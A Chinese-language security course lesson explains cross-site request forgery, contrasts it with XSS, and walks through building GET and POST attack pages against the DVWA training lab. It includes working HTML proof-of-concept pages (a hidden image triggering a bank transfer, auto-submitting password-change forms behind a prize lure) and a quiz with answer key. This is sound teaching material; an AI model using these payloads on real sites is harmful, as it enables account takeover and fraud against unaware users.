今天将学习另一种极为常见的 Web 漏洞——跨站请求伪造CSRF。与 XSS 攻击用户浏览器执行脚本不同CSRF 利用的是浏览器自动携带身份凭证的机制让受害者在不知情的情况下执行非本意的操作。你将亲手构造 GET 和 POST 型的 CSRF 攻击页面深刻体会这种“借刀杀人”的攻击手法。第七周·周四CSRF 原理与利用——GET/POST 型 CSRF 攻击 今日学习目标达成效果能准确描述CSRF 漏洞的本质攻击者诱导已登录的用户浏览器向目标站点发送非预期的请求利用浏览器自动携带 Cookie 的机制来通过身份验证能区分CSRF 与 XSS 的核心差异XSS 需要注入脚本到目标站点CSRF 则依赖于外部页面发起跨域请求能独立构造一个 GET 型 CSRF 攻击页面通过隐藏的img标签或自动提交的表单诱使用户在不知情下完成密码修改或转账操作能构造POST 型 CSRF 攻击页面使用自动提交的表单绕过简单的数据提交限制理解为何 POST 并不能防御 CSRF能**在 DVWA 靶场的 CSRF 关卡Low 难度**中通过外部 HTML 文件完成一次完整的密码修改攻击能从攻击者视角总结 CSRF 成功的必要条件用户已登录目标站点、攻击者能够预测请求参数、目标站点仅依赖 Cookie 进行身份验证而没有额外校验。 一、CSRF 的本质借用用户的身份令牌1. 一个现实类比你把办公室门禁卡挂在胸前每个人都能看到。一个同事走过来对你说“麻烦帮我拿一下那边的文件”你走向文件柜门禁自动刷卡通过。你无意中替别人完成了一次授权操作。这就是 CSRF——攻击者借用你的“自动刷卡”机制让你替他执行操作。2. 技术原理现代 Web 应用大多使用 Cookie 或 HTTP Basic/Digest 认证来维持会话。浏览器在每次向站点发送请求时会自动附带该站点下的所有 Cookie包括会话 ID。这意味着只要用户已经登录了某个网站他浏览器发出的任何请求都会被服务器视为已认证。CSRF 攻击者就利用了这一点攻击者在自己控制的页面evil.com上放置一个指向目标站点的请求如修改密码的链接或表单。受害者访问evil.com时浏览器会尝试加载该请求并自动携带受害者之前在目标站点上的 Cookie。目标站点收到请求后看到有效 Cookie以为受害者本人发起了操作于是执行密码修改、转账等动作。3. 与 XSS 的对比特性XSSCSRF攻击目标窃取数据、会话劫持、网页篡改强制用户执行非本意操作攻击位置在目标站点内部注入脚本在外部站点构造请求依赖机制浏览器执行注入的 JavaScript浏览器自动携带 Cookie防御关键输出编码、CSP反 CSRF Token、SameSite、Referer 校验关键区别XSS 利用了站点对用户输入的信任CSRF 利用了站点对浏览器的信任。两者可以结合通过 XSS 绕过 CSRF 防御但本质上是不同的漏洞类型。 二、GET 型 CSRF 攻击当目标站点的敏感操作通过 GET 请求完成且参数完全可预测时攻击者只需构造一个 URL诱使受害者访问。场景示例某银行转账接口为http://bank.com/transfer?toattackeramount1000如果银行仅靠 Cookie 验证身份那么任何已登录的用户访问此 URL 都会完成转账。攻击方式攻击者将这个 URL 嵌入一个看似无害的页面imgsrchttp://bank.com/transfer?toattackeramount1000width0height0受害者浏览该页面时浏览器尝试加载这张“图片”实际上是发送了转账请求并自动带上了银行站点的 Cookie。转账在受害者毫无察觉的情况下完成。注意GET 请求本应是安全且幂等的仅用于获取数据但许多早期 Web 应用不规范地将修改操作也用了 GET导致这类 CSRF 泛滥。目前大部分框架要求修改操作必须用 POST、PUT、DELETE 等方法。 三、POST 型 CSRF 攻击当敏感操作改用 POST 方法后攻击者不能仅靠 URL 完成攻击但可以通过自动提交的表单来实现。浏览器同样会对 POST 请求自动附带 Cookie。场景修改密码接口POST http://target.com/change_password参数new_passwordattacker123confirm_passwordattacker123攻击页面htmlbodyonloaddocument.csrf.submit()formnamecsrfactionhttp://target.com/change_passwordmethodPOSTinputtypehiddennamenew_passwordvaluehackedinputtypehiddennameconfirm_passwordvaluehacked/form/body/html受害者访问此页面表单会在页面加载时自动提交浏览器向目标站点发出 POST 请求携带目标站点 Cookie密码被修改。为什么 POST 不能防御 CSRF因为浏览器同样会对跨域 POST 请求自动携带 Cookie在未设置 SameSite 限制的情况下攻击者只需让表单自动提交即可。真正防御 CSRF 需要额外的手段如 CSRF Token这将在明天详细学习。✍️ 四、动手实践DVWA CSRF 关卡 Low 难度攻击实验环境DVWA 靶场安全等级设为 Low攻击者机器可以是同一台机器使用不同的 HTML 文件受害者浏览器登录 DVWA 后使用另一个标签页或隐私窗口访问攻击页面但需确保同一浏览器因为 Cookie 共享为模拟真实跨域可使用不同端口或本地文件访问攻击页面1. 分析目标接口登录 DVWA进入 CSRF 页面http://靶机/vulnerabilities/csrf/。Low 难度下修改密码的接口为GET http://靶机/vulnerabilities/csrf/?password_new123password_conf123ChangeChange参数通过 GET 传递且无任何防 CSRF 措施。测试直接在浏览器地址栏输入上述 URL替换为你的 DVWA 地址并设置新密码你会发现密码被成功修改。2. 构造 GET 型 CSRF 攻击页面在攻击机上创建一个csrf_get.html!DOCTYPEhtmlhtmlheadmetacharsetUTF-8/headbodyh1恭喜你中奖了点击领取奖品/h1!-- 隐藏的img标签实际发起CSRF请求 --imgsrchttp://靶机/vulnerabilities/csrf/?password_newhacker123password_confhacker123ChangeChangestyledisplay:none;/body/html将此文件在攻击机上通过 HTTP 服务打开或直接用浏览器打开本地 HTML 文件若跨域限制允许img标签的 GET 请求一般可以跨域。模拟攻击在一个浏览器中登录 DVWA保持会话。新开一个标签页打开csrf_get.html。返回 DVWA用旧密码尝试登录将失败用新密码hacker123登录成功证明密码已被篡改。3. 构造 POST 型 CSRF 攻击页面模拟 Medium 级别尽管 Low 也可用 POST即使 DVWA CSRF Low 允许 GET我们也可以练习 POST 方法。创建csrf_post.htmlhtmlbodyonloaddocument.forms[0].submit()formactionhttp://靶机/vulnerabilities/csrf/methodPOSTinputtypehiddennamepassword_newvaluehackedpostinputtypehiddennamepassword_confvaluehackedpostinputtypehiddennameChangevalueChange/form/body/html访问该页面表单自动提交密码被改为hackedpost。关键观察浏览器的 Network 面板或 BurpSuite 会显示这个跨域 POST 请求自动携带了 DVWA 的 Cookie。这就是 CSRF 攻击能够成功的根本原因。 五、课后测试题与解析测试题构造一个自动提交表单的 CSRF PoC 页面用于修改 DVWA 的密码POST 方式。请写出完整 HTML 代码并解释其攻击原理。参考答案htmlbodyonloaddocument.forms[0].submit()formactionhttp://目标DVWA/vulnerabilities/csrf/methodPOSTinputtypehiddennamepassword_newvalueattackerinputtypehiddennamepassword_confvalueattackerinputtypehiddennameChangevalueChange/form/body/html攻击原理受害者已登录 DVWA浏览器中存有有效的会话 Cookie。受害者被诱导访问攻击者准备的页面。页面中的表单在body onload触发下自动提交向 DVWA 发送修改密码的 POST 请求。浏览器自动携带 DVWA 的 Cookie服务器验证通过执行密码修改。攻击者随后使用新密码登录受害者账户。✅ 今日学习效果自检清单我能用自己的话解释 CSRF 与 XSS 的区别与联系我成功在 DVWA Low 难度下通过外部页面完成了 GET 型 CSRF 密码修改我构造了自动提交的 POST 表单实现了 POST 型 CSRF 攻击我知道 CSRF 成功的三个必要条件用户已登录、请求参数可预测、站点仅依赖 Cookie 认证我理解为什么仅使用 POST 方法不能防御 CSRF⚠️ 阶段避坑重点不要混淆 CSRF 与点击劫持虽然都可能通过 iframe 隐藏操作但 CSRF 是自动提交请求点击劫持是诱导用户点击透明层。GET 型 CSRF 的局限性现代浏览器对跨域 GET 请求如img仍会携带 Cookie除非设置 SameSite因此 GET 操作依然需要保护。受害者必须已登录如果用户未登录目标站点攻击请求无法通过认证攻击无效。不要依赖 POST 作为防 CSRF 手段表单可以自动提交且 JavaScript 可以发起跨域 POST某些情况下受 CORS 限制无法读取响应但请求本身已经发出操作仍会生效。自写 PoC 页面注意浏览器安全策略本地文件可能受到更严格的跨域限制通常使用简单 HTTP 服务托管攻击页面更为可靠。明天我们将学习CSRF 防御体系重点掌握 Token 机制、Referer 校验、SameSite Cookie 三大防御手段并在 DVWA Medium 和 High 难度下尝试绕过和加固最终实现完整的安全防护。请保留今天的攻击页面明天会用来测试防御效果。
企业数字化 ERP 产品动态
相关推荐
代码库记忆 MCP 实战:用 TaoToken 统一 Key 让 AI Agent 秒懂项目 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 16:18:04
Windows 上装官方 Claude Code 总报错?TaoToken 配置骨架与验证清单 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 16:17:39
MCP 从概念到实战:用 TaoToken 统一 Key 打通 AI Agent 工具链 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 16:17:39
西南地区靠谱的交通安全设施厂家质量参考评选 在西南地区做道路工程、园区改造、停车场建设的朋友,多半都有过这样的困惑,找交通安全设施厂家的时候,怎么挑到靠谱的?我们整理了三个行业内问得最多的问题,今天给大家逐一拆解说明。Q1:西南地区找交通安全设施厂家&a… · 2026/9/26 16:53:42
YOLO养殖场肉鸡目标检测:数据集构建与训练全流程 简介:这份YOLO养殖场肉鸡目标检测数据集面向从事农业智能化、家禽养殖监测及计算机视觉应用的研究者与开发者,用于训练模型自动定位鸡只位置,可服务于养殖场数量统计、行为分析与健康监测等场景。资源包共1001个文件,包含500张jpg… · 2026/9/26 16:53:35
SpringBoot+Vue3相亲网站全栈项目实战:数据库设计、匹配算法与部署避坑指南 最近有个相亲网站的源码项目收尾了,前后端分离,Java SpringBootVue3MyBatisMySQL这套组合,从零搭到能跑通核心业务,整个过程踩坑无数,但也把很多网上讲得含糊的地方彻底搞明白了。今天不聊虚的,直接把这套系… · 2026/9/26 16:53:16
SpringBoot+MyBatis+JSP图书管理系统实战:避坑与进阶技巧 简介:这是一套基于SpringBoot、MyBatis与JSP构建的图书管理系统完整项目源码,面向具备Java Web基础、希望深入理解企业级开发流程的开发者与在校学生。系统覆盖图书增删改查、分类管理、借阅归还、分页查询等核心业务,采用MVC架构,… · 2026/9/26 16:53:16
腾讯TokenHub上线之后:大厂验证聚合分发赛道,开发者如何选平台 2026年5月,腾讯云TokenHub的上线在圈内引发热议:用一个API Key聚合自研混元与DeepSeek、Kimi、MiniMax、智谱GLM等第三方模型,大厂亲自下场做Token聚合分发生意。这对开发者意味着什么?第三方聚合平台还有多少空间?本文展开聊聊,并把第一个推荐的第三方平台给到词元之河(Toke… · 2026/9/26 16:53:16
数据库课后习题答案别硬背:当测试用例集刷,效率翻倍 简介:万常选版《数据库原理与设计》课后习题答案资源,覆盖第2至6章及第9章,适合正在学习关系模型、数据库建模、关系数据理论与模式求精的本科生、自学者作为复习与自测材料。压缩包共7个文件,含3个doc参考答案、2个sql示例脚本、… · 2026/9/26 0:00:21
OpenClaw 替代品?Hermes Agent 踩坑实录:macOS 飞书接入 TaoToken 配置 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 0:00:40
向下兼容与向上兼容:接口设计中的兼容性策略与工程实践 一次版本升级事故,是很多团队绕不过去的坎。线上环境里,服务端明明已经上线了新版接口,老的移动端还在照着旧文档传参数。请求一到网关,校验直接拒绝,用户操作失败,客服群炸了锅,开发群里开始互… · 2026/9/26 0:00:46